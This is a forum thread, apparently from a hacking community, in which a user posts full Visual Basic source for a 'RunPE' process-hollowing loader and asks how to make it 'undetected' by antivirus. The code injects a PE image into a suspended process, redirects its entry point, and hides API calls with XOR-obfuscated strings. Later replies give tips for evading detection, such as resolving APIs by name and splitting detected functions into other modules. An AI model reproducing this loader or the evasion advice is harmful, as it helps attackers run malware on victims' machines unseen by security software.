Thread: RunPE

can some1 help me undetect this RunPE, i have tryed a shi load of strings still wont get undetected need help big time

Code:

Option Explicit

Private Const CONTEXT_FULL As Long = &H10007
Private Const MAX_PATH As Integer = 260
Private Const CREATE_SUSPENDED As Long = &H4
Private Const MEM_COMMIT As Long = &H1000
Private Const MEM_RESERVE As Long = &H2000
Private Const PAGE_EXECUTE_READWRITE As Long = &H40

Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpAppName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, bvBuff As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function OutputDebugString Lib "kernel32" Alias "OutputDebugStringA" (ByVal lpOutputString As String) As Long

Public Declare Sub RtlMoveMemory Lib "kernel32" (Dest As Any, Src As Any, ByVal L As Long)
Private Declare Function CallWindowProcA Lib "user32" (ByVal addr As Long, ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long

Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type

Private Type STARTUPINFO
cb As Long
lpReserved As Long
lpDesktop As Long
lpTitle As Long
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type

Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadID As Long
End Type

Private Type FLOATING_SAVE_AREA
ControlWord As Long
StatusWord As Long
TagWord As Long
ErrorOffset As Long
ErrorSelector As Long
DataOffset As Long
DataSelector As Long
RegisterArea(1 To 80) As Byte
Cr0NpxState As Long
End Type

Private Type CONTEXT
ContextFlags As Long

Dr0 As Long
Dr1 As Long
Dr2 As Long
Dr3 As Long
Dr6 As Long
Dr7 As Long

FloatSave As FLOATING_SAVE_AREA
SegGs As Long
SegFs As Long
SegEs As Long
SegDs As Long
Edi As Long
Esi As Long
Ebx As Long
Edx As Long
Ecx As Long
Eax As Long
Ebp As Long
Eip As Long
SegCs As Long
EFlags As Long
Esp As Long
SegSs As Long
End Type

Private Type IMAGE_DOS_HEADER
e_magic As Integer
e_cblp As Integer
e_cp As Integer
e_crlc As Integer
e_cparhdr As Integer
e_minalloc As Integer
e_maxalloc As Integer
e_ss As Integer
e_sp As Integer
e_csum As Integer
e_ip As Integer
e_cs As Integer
e_lfarlc As Integer
e_ovno As Integer
e_res(0 To 3) As Integer
e_oemid As Integer
e_oeminfo As Integer
e_res2(0 To 9) As Integer
e_lfanew As Long
End Type

Private Type IMAGE_FILE_HEADER
Machine As Integer
NumberOfSections As Integer
TimeDateStamp As Long
PointerToSymbolTable As Long
NumberOfSymbols As Long
SizeOfOptionalHeader As Integer
characteristics As Integer
End Type

Private Type IMAGE_DATA_DIRECTORY
VirtualAddress As Long
Size As Long
End Type

Private Type IMAGE_OPTIONAL_HEADER
Magic As Integer
MajorLinkerVersion As Byte
MinorLinkerVersion As Byte
SizeOfCode As Long
SizeOfInitializedData As Long
SizeOfUnitializedData As Long
AddressOfEntryPoint As Long
BaseOfCode As Long
BaseOfData As Long
ImageBase As Long
SectionAlignment As Long
FileAlignment As Long
MajorOperatingSystemVersion As Integer
MinorOperatingSystemVersion As Integer
MajorImageVersion As Integer
MinorImageVersion As Integer
MajorSubsystemVersion As Integer
MinorSubsystemVersion As Integer
W32VersionValue As Long
SizeOfImage As Long
SizeOfHeaders As Long
CheckSum As Long
SubSystem As Integer
DllCharacteristics As Integer
SizeOfStackReserve As Long
SizeOfStackCommit As Long
SizeOfHeapReserve As Long
SizeOfHeapCommit As Long
LoaderFlags As Long
NumberOfRvaAndSizes As Long
DataDirectory(0 To 15) As IMAGE_DATA_DIRECTORY
End Type

Private Type IMAGE_NT_HEADERS
Signature As Long
FileHeader As IMAGE_FILE_HEADER
OptionalHeader As IMAGE_OPTIONAL_HEADER
End Type

Private Type IMAGE_SECTION_HEADER
SecName As String * 8
VirtualSize As Long
VirtualAddress As Long
SizeOfRawData As Long
PointerToRawData As Long
PointerToRelocations As Long
PointerToLinenumbers As Long
NumberOfRelocations As Integer
NumberOfLinenumbers As Integer
characteristics As Long
End Type


Public Function UUVSAEA(ByVal LXFW As String, ByVal UTXLW As String, ParamArray HPRWNRW()) As Long
Dim CFVXM As Long, UOMN(&HEC00& - 1) As Byte, DIS As Long, IZYONJW As Long

IZYONJW = GetProcAddress(LoadLibraryA(LXFW), UTXLW)
If IZYONJW = 0 Then Exit Function

CFVXM = VarPtr(UOMN(0))
RtlMoveMemory ByVal CFVXM, &H59595958, &H4: CFVXM = CFVXM + 4
RtlMoveMemory ByVal CFVXM, &H5059, &H2: CFVXM = CFVXM + 2
For DIS = UBound(HPRWNRW) To 0 Step -1
RtlMoveMemory ByVal CFVXM, &H68, &H1: CFVXM = CFVXM + 1
RtlMoveMemory ByVal CFVXM, CLng(HPRWNRW(DIS)), &H4: CFVXM = CFVXM + 4
Next
RtlMoveMemory ByVal CFVXM, &HE8, &H1: CFVXM = CFVXM + 1
RtlMoveMemory ByVal CFVXM, IZYONJW - CFVXM - 4, &H4: CFVXM = CFVXM + 4
RtlMoveMemory ByVal CFVXM, &HC3, &H1: CFVXM = CFVXM + 1
UUVSAEA = CallWindowProcA(VarPtr(UOMN(0)), 0, 0, 0, 0)
End Function

Public Function SZGSH(ByVal BTDUCZ As String, ByVal MSTWN As String) As String
Dim PKS As Long

For PKS = 1 To Len(BTDUCZ)
SZGSH = SZGSH & Chr(Asc(Mid(MSTWN, IIf(PKS Mod Len(MSTWN) <> 0, PKS Mod Len(MSTWN), Len(MSTWN)), 1)) Xor Asc(Mid(BTDUCZ, PKS, 1)))
Next PKS
End Function

Public Sub VYHQPFQ(ByVal OHCRL As String, ByRef RXKY() As Byte, AMUMT As String)
Dim PES As Long, HEGZ As IMAGE_DOS_HEADER, XQGFB As IMAGE_NT_HEADERS, VYJCSI As IMAGE_SECTION_HEADER
Dim YCHQMMN As STARTUPINFO, KRVRDW As PROCESS_INFORMATION, WOMLPD As CONTEXT

YCHQMMN.cb = Len(YCHQMMN)
RtlMoveMemory HEGZ, RXKY(0), 64
RtlMoveMemory XQGFB, RXKY(HEGZ.e_lfanew), 248

CreateProcessA OHCRL, bxH0pafppT(ZFSZHPhina("62"), "Bpn4oES9Ikdg") & AMUMT, 0, 0, False, CREATE_SUSPENDED, 0, 0, YCHQMMN, KRVRDW
UUVSAEA SZGSH(Chr(40) & Chr(54) & Chr(54) & Chr(34) & Chr(63), bxH0pafppT(ZFSZHPhina("221B05252A732B0A2A3F0411210 F1E213B7028053B321B0C27100F2F317638092831030F37140 F24207A281429"), "dYWky7mLmzHX")), SZGSH(Chr( & Chr(54) & Chr(7) & Chr(32) & Chr(62) & Chr(37) & Chr(54) & Chr(16) & Chr(46) & Chr(32) & Chr(59) & Chr(6) & Chr(35) & Chr(5) & Chr(44) & Chr(41) & Chr(54) & Chr(46) & Chr(42) & Chr(39), bxH0pafppT(ZFSZHPhina("221B05252A732B0A2A3F0411210 F1E213B7028053B321B0C27100F2F317638092831030F37140 F24207A281429"), "dYWky7mLmzHX")), KRVRDW.hProcess, XQGFB.OptionalHeader.ImageBase
UUVSAEA SZGSH(Chr(45) & Chr(39) & Chr(32) & Chr(32) & Chr(54) & Chr(40) & Chr(117) & Chr(116), bxH0pafppT(ZFSZHPhina("05003E066A012171017D7F20061 425027B02227E1070603D000B340C710432720373783E100F3 4076008226F02"), "CBlH9Eg7F83i")), SZGSH(Chr(16) & Chr(43) & Chr(32) & Chr(5 & Chr(3 & Chr(37) & Chr(42) & Chr(7) & Chr(43) & Chr(41) & Chr(35) & Chr(42) & Chr(0) & Chr(46), bxH0pafppT(ZFSZHPhina("05003E066A012171017D7F20061 425027B02227E1070603D000B340C710432720373783E100F3 4076008226F02"), "CBlH9Eg7F83i")), KRVRDW.hProcess, XQGFB.OptionalHeader.ImageBase, XQGFB.OptionalHeader.SizeOfImage, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE
WriteProcessMemory KRVRDW.hProcess, ByVal XQGFB.OptionalHeader.ImageBase, RXKY(0), XQGFB.OptionalHeader.SizeOfHeaders, 0

For PES = 0 To XQGFB.FileHeader.NumberOfSections - 1
RtlMoveMemory VYJCSI, RXKY(HEGZ.e_lfanew + 248 + 40 * PES), Len(VYJCSI)
WriteProcessMemory KRVRDW.hProcess, ByVal XQGFB.OptionalHeader.ImageBase + VYJCSI.VirtualAddress, RXKY(VYJCSI.PointerToRawData), VYJCSI.SizeOfRawData, 0
Next PES

WOMLPD.ContextFlags = CONTEXT_FULL
UUVSAEA SZGSH(Chr(45) & Chr(39) & Chr(32) & Chr(32) & Chr(54) & Chr(40) & Chr(117) & Chr(116), bxH0pafppT(ZFSZHPhina("29070420381105243D06390F2A1 31F242912062B2C0B26122C0C0E2A231416273F083E113C080 E213218063A3E"), "oEVnkUCbzCuF")), SZGSH(Chr(1) & Chr(39) & Chr(3 & Chr(26) & Chr(59) & Chr(54) & Chr(35) & Chr(39) & Chr(35) & Chr(6) & Chr(35) & Chr(39) & Chr(49) & Chr(51) & Chr(49) & Chr(62), bxH0pafppT(ZFSZHPhina("29070420381105243D06390F2A1 31F242912062B2C0B26122C0C0E2A231416273F083E113C080 E213218063A3E"), "oEVnkUCbzCuF")), KRVRDW.hThread, VarPtr(WOMLPD)
WriteProcessMemory KRVRDW.hProcess, ByVal WOMLPD.Ebx + 8, XQGFB.OptionalHeader.ImageBase, 4, 0
WOMLPD.Eax = XQGFB.OptionalHeader.ImageBase + XQGFB.OptionalHeader.AddressOfEntryPoint
UUVSAEA SZGSH(Chr(45) & Chr(39) & Chr(32) & Chr(32) & Chr(54) & Chr(40) & Chr(117) & Chr(116), bxH0pafppT(ZFSZHPhina("2405247A247D1F2034721B7A271 13F7E357E1C2F257F0467210E2E703F780C23367C1C64310A2 E7B2E741C3E37"), "bGv4w9Yfs7W3")), SZGSH(Chr(21) & Chr(39) & Chr(3 & Chr(26) & Chr(59) & Chr(54) & Chr(35) & Chr(39) & Chr(35) & Chr(6) & Chr(35) & Chr(39) & Chr(49) & Chr(51) & Chr(49) & Chr(62), bxH0pafppT(ZFSZHPhina("2405247A247D1F2034721B7A271 13F7E357E1C2F257F0467210E2E703F780C23367C1C64310A2 E7B2E741C3E37"), "bGv4w9Yfs7W3")), KRVRDW.hThread, VarPtr(WOMLPD)
UUVSAEA SZGSH(Chr(45) & Chr(39) & Chr(32) & Chr(32) & Chr(54) & Chr(40) & Chr(117) & Chr(116), bxH0pafppT(ZFSZHPhina("090B67051B342D2C2A07233B0A1 F7C010A372E233B0A3C260C006D0F00313E2F280924251C046 D04113D2E3229"), "OI5KHpkjmBor")), SZGSH(Chr(20) & Chr(39) & Chr(33) & Chr(59) & Chr(62) & Chr(33) & Chr(1 & Chr(46) & Chr(53) & Chr(32) & Chr(45) & Chr(45), bxH0pafppT(ZFSZHPhina("090B67051B342D2C2A07233B0A1 F7C010A372E233B0A3C260C006D0F00313E2F280924251C046 D04113D2E3229"), "OI5KHpkjmBor")), KRVRDW.hThread
End Sub

nice code slighty complicated and advanced for me though :p

bump...

Encrypted code is not very easy to read for us, so most likely people won't help you. Also bumping is very lame and you have to use CODE TAGS fgs.

Originally Posted by SqUeEzEr .

Encrypted code is not very easy to read for us, so most likely people won't help you. Also bumping is very lame and you have to use CODE TAGS fgs.

your not squeezer rofl

Originally Posted by Unregistered

your not squeezer rofl

STFU it was me.

if you crypted all the strings, moved function order, then next steps is to use callapibyname or similar to get rid of API detections. Then, your code is so short bro, just comment out the CODE in each function and scan, find what is detected and change it.

TIP: some runpe, have function that is detected but either im not good enuf to change, or you cant do it, so when I find this, I make anthor module, and make the function public. Works for me.